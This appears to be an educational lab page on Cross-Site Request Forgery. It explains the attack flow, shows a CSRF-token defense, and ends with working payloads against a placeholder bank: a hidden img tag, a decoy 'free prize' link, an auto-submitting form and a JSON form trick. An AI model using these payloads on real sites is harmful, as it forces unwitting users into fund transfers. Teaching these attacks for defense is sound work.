Cross-Site Request Forgery
Back to VaultThis lab demonstrates CSRF attacks for educational purposes. Only test these techniques on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical. Understanding these attacks helps build better defenses.
Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to perform unintended actions on a web application. Unlike XSS (which exploits trust in a website), CSRF exploits the trust that a website has in a user's browser.
1 Victim logs into target site - User authenticates and receives a session cookie
2 Attacker crafts malicious page - Creates HTML/JS that makes a request to target site
3 Victim visits attacker's page - Could be via phishing, malicious ad, or XSS
4 Browser sends forged request - Includes victim's session cookie automatically
5 Server executes action - Believes request is legitimate because session is valid
This simulation demonstrates how a CSRF attack works. The "victim" is logged into their bank, and the attacker attempts to transfer money without their knowledge.
Session: Active | Cookie: session=abc123xyz
Craft a hidden form that submits to the bank:
Enable defenses to see how they prevent CSRF attacks:
<!-- Server generates unique token per session/request -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token"
value="a8f3k2n5x9m1p7q4">
<input name="to" placeholder="Account">
<input name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
// Server-side validation
if (request.csrf_token !== session.csrf_token) {
return error(403, "CSRF token mismatch");
}
The simplest form - if state-changing actions use GET requests:
<!-- Image tag (invisible) -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- Or disguised as a link -->
<a href="https://bank.com/transfer?to=attacker&amount=1000">
Click here for free prize!
</a>
Auto-submitting form when victim loads the page:
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" method="POST" action="https://bank.com/transfer">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
</body>
Attacking APIs that accept JSON (if CORS is misconfigured):
<form id="csrf" method="POST" action="https://api.bank.com/transfer"
enctype="text/plain">
<input name='{"to":"attacker","amount":1000,"ignore":"' value='"}' type="hidden">
</form>
<script>document.getElementById('csrf').submit();</script>